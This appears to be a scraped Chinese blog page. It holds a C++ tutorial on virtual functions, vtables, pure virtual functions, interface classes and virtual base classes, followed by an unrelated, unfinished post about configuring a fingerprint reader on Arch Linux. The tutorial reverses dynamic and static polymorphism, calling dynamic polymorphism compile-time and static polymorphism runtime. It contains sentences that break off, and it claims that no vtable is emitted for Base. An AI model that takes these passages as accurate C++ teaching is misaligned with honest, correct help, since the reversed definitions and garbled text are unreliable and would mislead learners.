虚函数 (virtual function) 是一种特殊的成员函数。当被调用时，它会解析为实际引用或指向的对象的实际类型的函数的最派生版本。换句话说，如果使用基类指针或引用处理派生类，对虚函数的调用将调用派生类中定义的行为。

Note

虚函数的查找是自底向上的（从最底层向基类回溯），直到找到第一个实现的版本。如果中间类没有符合要求的重写，则会继续向基类查找，一直到继承链顶端。为什么能做到“自底向上”？这涉及到“虚函数表”概念，在之后解释多态原理时会介绍。

如果派生函数与基版本的函数具有相同的声明（名称、参数类型以及是否为 const）和返回类型，则认为它匹配。这被称为重写 (override)。

Warning

派生类函数的声明必须与基类虚函数的声明完全匹配，以便使用派生类函数。如果派生类函数具有不同的参数类型，程序可能仍然可以编译，但虚函数将不会按预期解析。在正常情况下，虚函数及其重载的返回类型必须匹配，但有一个例外：协变返回类型。这就是为什么 cppreference 不要求重写虚函数的返回类型相同。

要使函数成为虚函数，只需在函数声明前放置 virtual 关键字即可。

1
class Base
2
{
3
public:
4
    virtual std::string_view getName() const { return "Base"; } // note addition of virtual keyword
5
};
6

7
class Derived: public Base
8
{
9
public:
10
    virtual std::string_view getName() const { return "Derived"; }
11
};
12

13
int main()
14
{
15
    Derived derived {};
16
    Base& rBase{ derived };
17
    std::cout << "rBase is a " << rBase.getName() << '\n';
18

19
    return 0;
20
}

展开收起

此时，通过引用 rBase 调用 rBase.getName() 时，程序会向下寻找派生类中有没有 getName() 函数。在这里，程序会调用 Derived::getName()

Warning

虚函数解析仅在通过类对象的指针或引用调用成员函数时才起作用。直接在对象上调用虚成员函数（而不是通过指针或引用）将始终调用属于该对象相同类型的成员函数。

1
C c{};
2
std::cout << c.getName(); // will always call C::getName
3

4
A a { c }; // copies the A portion of c into a (don't do this)
5
std::cout << a.getName(); // will always call A::getName

Note

如果基类中的一个函数被标记为虚函数，那么在派生类中所有匹配重写形式的函数也将隐式地被认为是虚函数，即使它们没有明确地标记为虚函数。反之则不成立——派生类中重写的虚函数并不会隐式地使基类函数成为虚函数。

按照派生类的构造顺序，应避免在构造函数或析构函数中调用虚函数。因为构造基类时，派生类还未创建；析构基类时，派生类早已销毁：这两种情况都只会调用基类版本函数。

Note

某些现代编译器可能会报告有关具有虚函数和可访问的非虚析构函数的错误。如果是这种情况，请向基类添加虚析构函数。之后会讨论为何会出现虚析构函数。

因为虚函数仅对类对象的函数进行调用，所以不能将非成员或静态函数声明为虚函数。

非常罕见的情况下，您可能希望忽略函数的虚拟化。此时使用限定名称查找（使用作用域解析运算符 :: 显式指定）选择基类函数即可。

1
// Calls Base::getName() instead of the virtualized Derived::getName()
2
    std::cout << base.Base::getName() << '\n';

9.3 虚函数的属性#

Note

和关键字不同，指定符只在特定的上下文中具有特定意义，脱离使用场景就不是一个关键字。

9.3.1 `override` 指定符#

正如上一节所提到的，一个派生类的虚函数只有在它的签名和返回类型完全匹配的情况下才被认为是重写。这可能导致意外的问题，即原本打算重写的函数实际上并没有重写。例如：

1
class A
2
{
3
public:
4
  virtual std::string_view getName1(int x) { return "A"; }
5
  virtual std::string_view getName2(int x) { return "A"; }
6
};
7

8
class B : public A
9
{
10
public:
11
  virtual std::string_view getName1(short x) { return "B"; } // note: parameter is a short
12
  virtual std::string_view getName2(int x) const { return "B"; } // note: function is const
13
};

这里的意图是使用虚函数来访问 B::getName1() 和 B::getName2()。然而，由于 B::getName1() 接受不同的参数（short 而不是 int），它不被认为是 A::getName1() 的重写。

Tip

实际上，这里 B::getName1() 会把 A::getName1() 遮蔽掉。在查找函数时程序不会查找到 A 类的虚函数。派生类的具有相同名称但参数列表不同的函数不会重写基类的同名函数，而是隐藏它：当未限定名称查找检查派生类的范围时，查找会找到该派生类的函数定义，而不继续检查基类。(cppreference) virtual function specifier 在这里提供的示例可以尝试分析一下。

My Answer

1
d_as_d.f();  // Error: lookup in D finds only f(int) // 由于遮蔽，程序仅在 D 类中查找函数
2
d2_as_d.f(); // Error: lookup in D finds only f(int) // 由于派生类函数非重写，程序跳过了 D2 类的函数

更微妙的是，由于 B::getName2() 是 const 类型而 A::getName2() 不是，B::getName2() 也不被认为是 A::getName2() 的重写。

因此虚函数均解析为 A 基类版本的函数。

为了帮助判断虚函数是否被正确重写，可以使用 override 关键字，以告诉编译器该函数是重写。override 关键字放置在成员函数声明末尾（与函数级别的 const 相同的位置）。如果一个成员函数是 const 并且是重写，则 const 必须在 override 之前。

1
class A
2
{
3
public:
4
  virtual std::string_view getName1(int x) { return "A"; }
5
  virtual std::string_view getName2(int x) { return "A"; }
6
  virtual std::string_view getName3(int x) { return "A"; }
7
};
8

9
class B : public A
10
{
11
public:
12
  std::string_view getName1(short int x) override { return "B"; } // compile error, function is not an override
13
  std::string_view getName2(int x) const override { return "B"; } // compile error, function is not an override
14
  std::string_view getName3(int x) override { return "B"; } // okay, function is an override of A::getName3(int)
15

16
};

Warning

如果一个标记为 override 的函数没有重写基类函数（或应用于非虚函数），编译器将标记该函数为错误。override 不是强制性的，强扭的瓜不甜。 override 确保该函数是虚函数，并且正在重写基类中的对应函数。如果这不是真的，程序将是不良形式（将生成编译时错误）。(cppreference)

因为使用 override 指定符没有性能损失，并且有助于确保你实际上覆盖了你认为要覆盖的函数，所有重写虚函数都应该使用 override 指定符进行标记。

此外，因为 override 指定符暗示了虚函数，所以不需要使用 virtual 关键字标记使用 override 指定符的函数。

9.3.2 `final` 指定符#

有时我们不希望别人能够重写虚函数或从类继承的情况，可以使用 final 指定符来告诉编译器强制实现。

如果用户尝试重写或继承已被指定为 final 的函数或类，编译器将给出编译错误。

要限制用户重写函数，final 指定符写在 override 指定符之后：

1
class B : public A
2
{
3
public:
4
  // note use of final specifier on following line -- that makes this function not able to be overridden in derived classes
5
  std::string_view getName() const override final { return "B"; } // okay, overrides A::getName()
6
};
7

8
class C : public B
9
{
10
public:
11
  std::string_view getName() const override { return "C"; } // compile error: overrides B::getName(), which is final
12
};

在上面的代码中，B::getName() 重写了 A::getName()，这是可以的。但 B::getName() 有 final 指定符，这意味着对该函数的任何进一步重写都应被视为错误。C::getName() 尝试重写 B::getName()，因此编译器将给出编译错误。

要防止从类继承，final 指定符写在类名之后：

1
class B final : public A // note use of final specifier here
2
{
3
public:
4
  std::string_view getName() const override { return "B"; }
5
};
6

7
class C : public B // compile error: cannot inherit from final class
8
{
9
public:
10
  std::string_view getName() const override { return "C"; }
11
};

9.3.3 协变返回类型#

有一种特殊情况，派生类的虚函数重写可以具有与基类不同的返回类型，但仍被视为匹配的重写。如果虚函数的返回类型是指针或某个类的引用，则重写函数可以返回派生类的指针或引用。这些被称为协变返回类型 (covariant return type)。

1
#include <iostream>
2
#include <string_view>
3

4
class Base
5
{
6
public:
7
  // This version of getThis() returns a pointer to a Base class
8
  virtual Base* getThis() { std::cout << "called Base::getThis()\n"; return this; }
9
  void printType() { std::cout << "returned a Base\n"; }
10
};
11

12
class Derived : public Base
13
{
14
public:
15
  // Normally override functions have to return objects of the same type as the base function
16
  // However, because Derived is derived from Base, it's okay to return Derived* instead of Base*
17
  Derived* getThis() override { std::cout << "called Derived::getThis()\n";  return this; }
18
  void printType() { std::cout << "returned a Derived\n"; }
19
};
20

21
int main()
22
{
23
  Derived d{};
24
  Base* b{ &d };
25
  d.getThis()->printType(); // calls Derived::getThis(), returns a Derived*, calls Derived::printType
26
  b->getThis()->printType(); // calls Derived::getThis(), returns a Base*, calls Base::printType
27

28
  return 0;
29
}

展开收起

在上面的例子中，我们首先调用 d.getThis()。由于 d 属于 Derived 类类型，这会调用 Derived::getThis()，它返回一个 Derived*。然后使用这个 Derived* 来调用非虚函数 Derived::printType()。

然后我们调用 b->getThis()。变量 b 是一个指向 Derived 对象的 Base 指针。Base::getThis() 是一个虚函数，因此会调用 Derived::getThis()。尽管 Derived::getThis() 返回一个 Derived*，但由于 Base 版本的函数返回一个 Base* ，返回的 Derived* 被转换为 Base* 。因为 Base::printType() 是非虚函数，所以调用 Base::printType()。

换句话说，只有当你最初用 Derived 对象类型调用 getThis() 时，你才会得到一个 Derived*。

Note

C++ 无法动态选择类型，因此你总是得到和调用函数的实际版本匹配的类型。

协变返回类型通常用于以下情况：虚成员函数返回指向包含该成员函数的类的指针或引用（例如，Base::getThis() 返回一个 Base*，而 Derived::getThis() 返回一个 Derived* ）。然而，这并非绝对必要。协变返回类型可以在任何情况下使用，只要重写成员函数的返回类型是从基虚拟成员函数的返回类型派生出来的。

9.4 虚析构函数#

即使析构函数没有被继承，如果一个基类声明它的析构函数为虚函数，派生类的析构函数也总是重写它。这使得可以通过基类的指针删除多态类型的动态分配的对象。

在处理继承时，你应该将任何显式的析构函数设置为虚函数。

1
#include <iostream>
2
class Base
3
{
4
public:
5
    virtual ~Base() // note: virtual
6
    {
7
        std::cout << "Calling ~Base()\n";
8
    }
9
};
10

11
class Derived: public Base
12
{
13
private:
14
    int* m_array {};
15

16
public:
17
    Derived(int length)
18
      : m_array{ new int[length] }
19
    {
20
    }
21

22
    virtual ~Derived() // note: virtual
23
    {
24
        std::cout << "Calling ~Derived()\n";
25
        delete[] m_array;
26
    }
27
};
28

29
int main()
30
{
31
    Derived* derived { new Derived(5) };
32
    Base* base { derived };
33

34
    delete base;
35

36
    return 0;
37
}

展开收起

应该将所有析构函数都设置为虚函数吗？

如果基类的析构函数没有被标记为虚，那么如果程序员后来删除了一个指向派生对象的基类指针，程序就有内存泄漏的风险（只销毁了基类部分，但没有销毁派生类部分）。避免这种情况的一种方法是将所有析构函数标记为虚。但应该这样做吗？我们建议以下做法：如果一个类没有明确设计为基类，那么通常最好没有虚成员和虚析构函数。该类仍然可以通过组合使用。如果一个类被设计为用作基类和/或具有任何虚函数，那么它应该始终具有虚析构函数。如果您希望您的类可以被继承，请确保您的析构函数是虚拟的且公开的。如果您不打算让您的类被继承，请将您的类标记为 final。这将防止其他类继承它，同时不对类本身施加任何其他使用限制。

9.5 多态的概念与原理#

多态常被视为封装和继承之后，面向对象编程的第三个支柱。它的英文 Polymorphism 是一个希腊词，指“多种形态”。

在面向对象编程范式中，多态往往表现为“一个接口，多个功能”，比如我们之前学的函数重载以及刚学的虚函数。

多态有两种形式：

动态多态（或编译时多态，compile-time polymorphism）由编译器在程序运行前解析。包括函数重载解析和模板解析
静态多态（或运行时多态，runtime polymorphism）在程序运行时解析。包括虚函数解析

接下来我们将探究虚函数的实现原理

9.5.1 早绑定和晚绑定#

C++ 程序从 main() 的顶部开始，按顺序执行语句。当遇到函数调用时，执行点将跳转到被调用函数的开始处。CPU 是如何知道这样做呢？

在编译时，编译器将 C++ 程序中的每个语句转换为一条或多条机器指令。每条机器指令都有自己的唯一顺序地址。对于函数来说也是如此——当遇到函数时，它将被转换为机器语言，并分配下一个可用的地址。因此，每个函数最终都会有一个唯一的地址。

我们的程序包含许多名称（标识符、关键字等）。每个名称都有一组相关属性：例如，如果名称代表一个变量，那么这个变量有类型、值、内存地址等……

在一般编程中，绑定 (binding) 是将名称与这些属性关联的过程。函数绑定（或方法绑定）是确定与函数调用关联的函数定义的过程。实际调用已绑定的函数的过程称为调度 (dispatching)。

早绑定

编译器遇到的大多数函数调用是直接函数调用。直接函数调用是直接调用函数的语句。

在 C++ 中，当直接调用非成员函数或非虚成员函数时，编译器可以确定应该将哪个函数定义与调用匹配。这有时被称为早绑定（early binding。或静态绑定， static binding），因为它可以在编译时执行。然后编译器（或链接器）可以生成机器语言指令，告诉 CPU 直接跳转到函数的地址。

汇编代码演示

1
mov     edi, 5           ; copy argument 5 into edi register in preparation for function call
2
call    printValue(int)  ; directly call printValue(int)

函数模板和重载函数的调用也可以在编译时解析，因此它们也是早绑定模式。

晚绑定

在某些情况下，函数调用可能只能在运行时解析。在 C++中，这有时被称为晚绑定（late binding。或在虚拟函数解析的情况下，称为动态调度，dynamic dispatch），意味着任何在函数调用实际发生时，编译器或链接器不知道实际被调用的函数。

在 C++ 中，获取后期绑定的一种方法是通过使用函数指针。

Review

函数指针是一种指向函数而不是变量的指针类型。函数指针指向的函数可以通过在指针上使用函数调用运算符 () 来调用。

C++ 中的晚绑定不是标准定义

根据晚期绑定的标准定义，要调用的函数的地址在编译/链接时是未知的，必须在运行时动态发现。但在 C++ 中，术语“晚绑定”通常用于描述虚函数解析（这更准确地称为“动态调度”），但实际上具有早绑定的特征，因为地址已经在编译时计算好了，只是编译时一定要。因此，“晚绑定”在这里似乎有点名不副实。

1
#include <iostream>
2

3
void foo() { std::cout << "foo() called\n"; }
4
void bar() { std::cout << "bar() called\n"; }
5

6
int main() {
7
    void (*funcPtr)() = nullptr; // Function pointer declaration
8

9
    int choice;
10
    std::cout << "Enter 0 for foo, 1 for bar: ";
11
    std::cin >> choice;
12

13
    if (choice == 0)
14
        funcPtr = foo; // Point to foo at runtime
15
    else
16
        funcPtr = bar; // Point to bar at runtime
17

18
    funcPtr(); // Late binding: Decision made at runtime
19
    return 0;
20
}

展开收起

通过函数指针调用函数也称为间接函数调用。在实际调用 funcPtr 时，编译器在编译时并不知道正在调用哪个函数（函数地址要压入栈中后调用，但编译时调用堆栈还未创建）。在运行时，程序通过函数指针指向的地址进行间接函数调用，调用该地址上存在的任何函数。

汇编代码演示（AT&T 标准）

1
    {
2
      funcPtr = foo; // Point to foo at runtime
3
  95:  48 8d 05 00 00 00 00   lea    0x0(%rip),%rax        # 9c <main+0x5c>
4
  9c:  48 89 45 f0            mov    %rax,-0x10(%rbp)
5
  a0:  eb 0b                  jmp    ad <main+0x6d>
6
    }
7
    else
8
    {
9
        funcPtr = bar; // Point to bar at runtime
10
  a2:  48 8d 05 00 00 00 00   lea    0x0(%rip),%rax        # a9 <main+0x69>
11
  a9:  48 89 45 f0            mov    %rax,-0x10(%rbp)
12
    }
13

14
    funcPtr(); // Late binding: Decision made at runtime
15
  ad:  48 8b 45 f0            mov    -0x10(%rbp),%rax
16
  b1:  ff d0                  call   *%rax

这里使用 RIP 相对取址模式，其中 rip 是下一条指令的地址，与之配套的是已知的偏移值。rip+displacement 就得到了实际地址。

现代编译器的优化

现代编译器已经可以看出这里的猫腻，因此-O会直接在编译时直接寻址函数并存储到寄存器中以调用，不需要使用相对取址。但这依然是一个

晚绑定稍微低效一些，因为它涉及一个额外的间接层。在早绑定中，CPU 可以直接跳转到函数的地址。在晚绑定中，程序必须读取指针中持有的地址，然后跳转到该地址。这涉及一个额外的步骤，使其稍微慢一些。然而，晚绑定的优点是它比早期绑定更灵活，因为它在运行时才决定调用哪个函数。

9.5.2 虚表#

C++ 标准没有规定如何实现虚函数，但编译器通常使用一种称为虚表 (the virtual table, VTable)的晚绑定形式来实现虚函数。

虚表是一个用于以动态/晚绑定方式解析函数调用的函数查找表。在 C++中，虚函数解析有时被称为动态调度。

Tip

早绑定/静态调度 = 直接函数调用解析晚绑定 = 间接函数调用解析动态绑定 = 虚函数调用解析

虚表的工作原理：

首先，每个使用虚函数（或从使用虚函数的类派生）的类都有一个相应的虚表。这个表只是一个编译时由编译器设置的静态数组。虚表包含每个可以被该类对象调用的虚函数的一个条目。表中的每个条目是一个指向该类可以访问的派生函数的函数指针。
其次，编译器还会添加一个隐藏的指针，它是基类的成员，我们将称之为 *__vptr 。当创建一个类对象时，*__vptr 会自动设置，以便它指向该类的虚表。与 this 指针不同， *__vptr 是一个真正的指针成员。因此，它会增加每个类对象分配的内存大小。这也意味着 *__vptr 会被派生类继承。

Example

1
class Base
2
{
3
public:
4
 // VirtualTable* __vptr; // set automatically by compiler
5
    virtual void function1() {};
6
    virtual void function2() {};
7
};
8

9
class D1: public Base
10
{
11
public:
12
    void function1() override {};
13
};
14

15
class D2: public Base
16
{
17
public:
18
    void function2() override {};
19
};

因为这里有 3 个类，编译器将设置 3 个虚表：一个用于 Base，一个用于 D1，一个用于 D2。当创建一个类对象时， *__vptr 被设置为指向该类的虚拟表。例如，当创建类型为 Base 的对象时， *__vptr 被设置为指向 Base 的虚拟表。当创建类型为 D1 或 D2 的对象时， *__vptr 被设置为分别指向 D1 或 D2 的虚拟表。

现在，让我们来谈谈这些虚表是如何填充的。以上面的 example 为例

基类对象的虚表很简单。类型为 Base 的对象只能访问 Base 的成员。Base 无法访问 D1 或 D2 的函数。因此，function1 函数的条目指向 Base::function1()，function2 函数的条目指向 Base::function2()。
D1 类的虚表稍微复杂一些。类型为 D1 的对象可以访问 D1 和 Base 的成员。然而，D1 已经重写了 function1()，使得 D1::function1() 比 Base::function1() 更派生。因此，function1 函数的条目指向 D1::function1()。D1 没有重写 function2()，所以 function2 函数的条目将指向 Base::function2()。
D2 类的虚表与 D1 类似，只是 function1 函数的条目指向 Base::function1()，function2 函数的条目指向 D2::function2()。

用图表示为：

总结起来就是：每个类中的 *__vptr 指向该类的虚表。虚表中的条目指向允许该类对象调用的最派生版本的函数。

1
int main()
2
{
3
    D1 d1 {};
4
    Base* dPtr = &d1;
5

6
    return 0;
7
}

因为 dPtr 是一个基类指针，它只指向 d1 的 Base 类部分。然而 *__vptr 也位于类的 Base 部分，因此 dPtr 可以访问这个指针。最后，注意 dPtr->__vptr 指向 D1 的虚函数表！因此，尽管 dPtr 是 Base* 类型，它仍然可以访问 D1 的虚函数表。

如果通过 Compiler Explorer 这样的编译器平台查看汇编代码，可以看到编译器对虚表的处理：

1
vtable for D1:
2
    // ...
3
    .quad   D1::function1()
4
    .quad   Base::function2()

编译器只为 D1 类创建了虚表，但没有专门给 Base 类创建虚表！

调用虚函数比调用非虚函数慢，原因有几个：首先，我们必须使用 *__vptr 来获取适当的虚表。其次，我们必须索引虚表以找到要调用的正确函数。然后我们才能调用该函数。因此，我们需要执行 3 个操作来找到要调用的函数，而普通间接函数调用需要 2 个操作，直接函数调用只需要 1 个操作。然而，在现代计算机上，这种额外的时间通常微不足道。

9.6 纯虚函数与接口类#

纯虚函数 (pure virtual function, OR abstract function) 一种特殊的虚函数。它没有任何函数体（包括 {}），仅作为占位符使用。纯虚函数由派生类定义。

要创建纯虚函数，在基类中将函数赋值为 0：

1
virtual int getValue() const = 0; // a pure virtual function
2

3
// int doSomething() = 0; // Compile error: can not set non-virtual functions to 0

没有函数体不是空定义

请不要在创建纯虚函数时写包括 {} 在内的任何函数体语句！C++ 标准不允许这样做！ Visual Studio 允许同时声明并定义且无法禁用。如果你在使用 Visual Studio，请记住这不是 C++ 标准并且具有很大的兼容性问题！

当我们向类中添加一个纯虚函数时，实际上是在说，“由派生类来实现这个函数”。

使用纯虚函数有两个主要后果：

首先，任何包含一个或多个纯虚函数的类都变成了抽象基类 (abstract base class)，这意味着它不能被实例化。编译器无法处理一个只有声明但无定义的函数。
其次，任何派生类都必须为这个函数定义一个函数体，否则该派生类也将被视为抽象基类。

为什么需要纯虚函数？纯虚函数使得基类不能被实例化，并迫使派生类在实例化之前定义这些函数。这有助于确保派生类不会忘记重新定义基类期望它们定义的函数。这在需要将函数放入基类，但只有派生类知道它应该返回什么时非常有用。

1
class Animal // This Animal is an abstract base class
2
{
3
protected:
4
    std::string m_name {};
5

6
public:
7
    Animal(std::string_view name)
8
        : m_name{ name }
9
    {
10
    }
11

12
    const std::string& getName() const { return m_name; }
13
    virtual std::string_view speak() const = 0; // note that speak is now a pure virtual function
14

15
    virtual ~Animal() = default;
16
};
17

18
class Cow: public Animal
19
{
20
public:
21
    Cow(std::string_view name)
22
        : Animal(name)
23
    {
24
    }
25

26
    std::string_view speak() const override { return "Moo"; } // forgetting to redefine speak() makes a error
27
};

展开收起

Tip

具有纯虚函数的类也应该有一个虚析构函数。

就像普通虚函数一样，可以使用基类的引用（或指针）来调用纯虚函数：

1
int main()
2
{
3
    Cow cow{ "Betsy" };
4

5
    std::cout << cow.speak(); // resolves to Cow::speak(), prints "Moo"
6

7
    Animal& a{ cow };
8

9
    std::cout << a.speak(); // resolves to Cow::speak(), prints "Moo"
10

11
    return 0;
12
}

我们可以创建具有定义的纯虚函数：

1
class Animal // This Animal is an abstract base class
2
{
3
protected:
4
    std::string m_name {};
5

6
public:
7
    Animal(std::string_view name)
8
        : m_name{ name }
9
    {
10
    }
11

12
    const std::string& getName() { return m_name; }
13
    virtual std::string_view speak() const = 0; // The = 0 means this function is pure virtual
14

15
    virtual ~Animal() = default;
16
};
17

18
std::string_view Animal::speak() const  // even though it has a definition
19
{
20
    return "buzz";
21
}

展开收起

在这种情况下，speak() 仍然被视为纯虚函数，因为其后面跟着“= 0”（即使它已经被定义了），Animal 仍然被视为抽象基类（因此不能实例化）。任何从 Animal 继承的类都需要为 speak() 提供自己的定义，否则它也将被视为抽象基类。

这里的定义提供了基类虚函数的默认实现。与一般虚函数不同，纯虚函数仍会强制派生类提供自己的实现。但如果派生类只需要基类实现，那么直接调用即可：

1
std::string_view Animal::speak() const
2
{
3
    return "buzz"; // some default implementation
4
}
5

6
class Dragonfly: public Animal
7
{
8

9
public:
10
    Dragonfly(std::string_view name)
11
        : Animal{name}
12
    {
13
    }
14

15
    std::string_view speak() const override// this class is no longer abstract because we defined this function
16
    {
17
        return Animal::speak(); // use Animal's default implementation
18
    }
19
};

当提供纯虚函数的定义时，必须单独提供，不能内联。

析构函数可以是纯虚函数，但必须给出定义，以便在派生对象被析构时可以调用。

为了保持一致性，抽象类仍然有虚表。抽象类的构造函数或析构函数可以调用虚函数，并且需要解析到正确的函数（在同一类中，因为派生类要么尚未构造，要么已经销毁）。

对于具有纯虚函数的类的虚表条目通常将包含一个空指针，或者指向一个错误处理函数 __cxa_pure_virtual（有时这个函数被命名为 __purecall）。

1
vtable for Animal:
2
    // ...
3
    .quad   __cxa_pure_virtual
4
    // ...

9.6.1 接口类#

接口类 (interface class) 是一个没有成员变量的类，其中的所有函数都是纯虚函数！当您想定义派生类必须实现的功能，但将派生类如何实现该功能的细节完全留给派生类时，接口类非常有用。

接口类通常以 I 开头命名。以下是一个示例接口类：

1
#include <string_view>
2

3
class IErrorLog
4
{
5
public:
6
    virtual bool openLog(std::string_view filename) = 0;
7
    virtual bool closeLog() = 0;
8

9
    virtual bool writeError(std::string_view errorMessage) = 0;
10

11
    virtual ~IErrorLog() {} // make a virtual destructor in case we delete an IErrorLog pointer, so the proper derived destructor is called
12
};

Warning

不要忘记为接口类写一个虚析构函数，以便在删除接口指针时调用适当的派生析构函数。

任何从 IErrorLog 继承的类都必须提供所有三个函数的实现才能被实例化。

您可以派生一个名为 FileErrorLog 的类，其中 openLog() 在磁盘上打开一个文件，closeLog() 关闭文件，writeError() 将消息写入文件。您还可以派生另一个名为 ScreenErrorLog 的类，其中 openLog() 和 closeLog() 不做任何操作，writeError() 在屏幕上弹出一个消息框打印消息。

1
#include <cmath> // for sqrt()
2
double mySqrt(double value, IErrorLog& log)
3
{
4
    if (value < 0.0)
5
    {
6
        log.writeError("Tried to take square root of value less than 0");
7
        return 0.0;
8
    }
9

10
    return std::sqrt(value);
11
}

现在调用者可以传递任何符合 IErrorLog 接口的类。如果他们想将错误记录到文件中，他们可以传递 FileErrorLog 的实例。如果他们想将其显示在屏幕上，他们可以传递 ScreenErrorLog 的实例。

接口类因其易于使用、易于扩展和易于维护而变得极其流行。事实上，一些现代语言，如 Java 和 C#，已经添加了一个 interface 关键字，允许程序员直接定义接口类，而无需显式地将所有成员函数标记为纯虚函数。

9.7 虚基类#

在 Lesson7 中，我们介绍了多继承中的“菱形继承”问题。当时我们使用作用域解析暂时解决了这个问题。现在我们将使用多态来解决。

1
#include <iostream>
2

3
class PoweredDevice
4
{
5
public:
6
    PoweredDevice(int power)
7
    {
8
    std::cout << "PoweredDevice: " << power << '\n';
9
    }
10
};
11

12
class Scanner: public PoweredDevice
13
{
14
public:
15
    Scanner(int scanner, int power)
16
        : PoweredDevice{ power }
17
    {
18
    std::cout << "Scanner: " << scanner << '\n';
19
    }
20
};
21

22
class Printer: public PoweredDevice
23
{
24
public:
25
    Printer(int printer, int power)
26
        : PoweredDevice{ power }
27
    {
28
    std::cout << "Printer: " << printer << '\n';
29
    }
30
};
31

32
class Copier: public Scanner, public Printer
33
{
34
public:
35
    Copier(int scanner, int printer, int power)
36
        : Scanner{ scanner, power }, Printer{ printer, power }
37
    {
38
    }
39
};

展开收起

如果你创建一个 Copier 类对象，默认情况下，你将会有两个 PoweredDevice 类的副本——一个来自 Printer，一个来自 Scanner。这不难理解

但有时您可能只想让一个 PoweredDevice 的副本被 Scanner 和 Printer 共享。

要共享基类，只需在派生类的继承列表中插入 virtual 关键字（形似“虚继承”）。这样就创建了一个所谓的虚基类 (virtual base class)，这意味着只有一个基类对象。这个基类对象在继承树中的所有对象之间共享，并且它只构造一次。例如：

1
class PoweredDevice
2
{
3
};
4

5
class Scanner: virtual public PoweredDevice
6
{
7
};
8

9
class Printer: virtual public PoweredDevice
10
{
11
};
12

13
class Copier: public Scanner, public Printer
14
{
15
};

现在，当你创建一个 Copier 类对象时，每个 Copier 将只有一个 PoweredDevice 的副本，这个副本将由 Scanner 和 Printer 共享。

这又带来了一个问题：如果 Scanner 和 Printer 共享一个 PoweredDevice 基类，那么谁负责创建它？

答案是 Copier。Copier 构造函数负责创建 PoweredDevice。

1
#include <iostream>
2

3
class PoweredDevice
4
{
5
public:
6
    PoweredDevice(int power)
7
    {
8
    std::cout << "PoweredDevice: " << power << '\n';
9
    }
10
};
11

12
class Scanner: virtual public PoweredDevice // note: PoweredDevice is now a virtual base class
13
{
14
public:
15
    Scanner(int scanner, int power)
16
        : PoweredDevice{ power } // this line is required to create Scanner objects, but ignored in this case
17
    {
18
    std::cout << "Scanner: " << scanner << '\n';
19
    }
20
};
21

22
class Printer: virtual public PoweredDevice // note: PoweredDevice is now a virtual base class
23
{
24
public:
25
    Printer(int printer, int power)
26
        : PoweredDevice{ power } // this line is required to create Printer objects, but ignored in this case
27
    {
28
    std::cout << "Printer: " << printer << '\n';
29
    }
30
};
31

32
class Copier: public Scanner, public Printer
33
{
34
public:
35
    Copier(int scanner, int printer, int power)
36
        : PoweredDevice{ power }, // PoweredDevice is constructed here
37
        Scanner{ scanner, power }, Printer{ printer, power }
38
    {
39
    }
40
};
41

42
int main()
43
{
44
    Copier copier{ 1, 2, 3 };
45

46
    return 0;
47
}

展开收起

输出：

Terminal window

1
PoweredDevice: 3
2
Scanner: 1
3
Printer: 2

PoweredDevice 只被构造一次。

这里还有一些细节：

首先，对于最派生类的构造函数，虚基类总是先于非虚基类被创建（PoweredDevice 位于输出的第一行），这确保了所有基类在派生类之前被创建。
其次，请注意，Scanner 和 Printer 的构造函数仍然调用了 PoweredDevice 的构造函数。当创建 Copier 的实例时，这些构造函数调用会被简单地忽略；然而，如果我们创建 Scanner 或 Printer 的实例，这些构造函数调用就会被使用，并且适用正常的继承规则。
然后，如果一个类继承了一个或多个具有虚拟基类的类，则最派生类负责构造虚拟基类，即使在单继承的情况下也是如此：如果 Copier 单继承自 Printer，而 Printer 虚继承自 PoweredDevice，Copier 仍然负责创建 PoweredDevice。

最后，所有继承虚拟基类的类都将拥有一个虚表，即使它们在非虚继承时通常不会有虚表。

1
  vtable for Copier:
2
      .quad   0
3
      .quad   0
4
      .quad   typeinfo for Copier
5
      .quad   -8
6
      .quad   -8
7
      .quad   typeinfo for Copier
8
  VTT for Copier:
9
          .quad   vtable for Copier+24
10
          .quad   construction vtable for Scanner-in-Copier+24
11
          .quad   construction vtable for Printer-in-Copier+24
12
          .quad   vtable for Copier+48
13
  construction vtable for Scanner-in-Copier:
14
          .quad   0
15
          .quad   0
16
          .quad   typeinfo for Scanner
17
  construction vtable for Printer-in-Copier:
18
          .quad   -8
19
          .quad   0
20
          .quad   typeinfo for Printer

展开收起

由于 Scanner 和 Printer 都是从 PowerDevice 虚派生出来的，所以 Copier 将只有一个 PowerDevice 子对象。Scanner 和 Printer 都需要知道如何找到这个唯一的 PowerDevice 子对象，以便它们可以访问其成员（因为毕竟它们是从它派生出来的）。这通常是通过一些虚表魔法（实际上存储了每个派生类到 PowerDevice 子对象的偏移量）来实现的。

在Archlinux上为联想小新Air14配置指纹

Wed, 09 Apr 2025 16:36:20 GMT

Update

现在指纹可堪使用了，但 Linux 下的设计让我觉得并不好用。最终反而是输密码更加直接和高效。不好用的表现：登录时允许指纹识别的时间太短，短到我都来不及将手指放到笔记本的指纹识别模块上；可用场景太少，例如进行双因素认证 (F2A) 时浏览器有提示，但指纹识别无效。

使用 CachyOS 已经有一段时间了，我对 Linux 总体还是比较满意的。别的不说，至少续航这一块完爆 Windows。

不过近期有一点尴尬的是，Linux 没有原生支持指纹识别，使得这部机自带的指纹识别器毫无用武之地。

所以今天我就要来配置这部笔记本的指纹识别。

本文参考 fprint - Arch Linux 中文维基

先决条件#

Wiki

首先需要您的设备上有兼容的指纹识别设备。可以查看兼容设备清单和不兼容设备清单来确定是否支持您的指纹识别设备。

使用 lsusb 查看指纹设备信息：

Terminal window

1
$ lsusb
2

3
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
4
Bus 001 Device 002: ID 3151:3020 YICHIP Wireless Device
5
Bus 001 Device 003: ID 28bd:0937 XP-Pen UGEE S640
6
Bus 001 Device 004: ID 174f:2426 Syntek Integrated Camera
7
Bus 001 Device 005: ID 06cb:00be Synaptics, Inc.
8
Bus 001 Device 006: ID 8087:0032 Intel Corp. AX210 Bluetooth
9
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub

这里的 06cb:00be 就是我的指纹识别器的 USB ID。

虽然我没有在 libfprint 的兼容设备清单上找到它，但不兼容设备清单给出了可用的其他驱动：synaTudor

克隆该项目，按照 README 的说明安装驱动，接下来就可以参考 Wiki 的说明了。

安装#

安装 fprintd 和 libfprint-tod-git。以防万一我还安装了 imagemagick。

配置#

登录配置#

为了同时使用密码或指纹解锁，在 /etc/pam.d/sddm 的顶部添加：

Terminal window

1
auth       [success=1 new_authtok_reqd=1 default=ignore]    pam_unix.so try_first_pass likeauth nullok
2

3
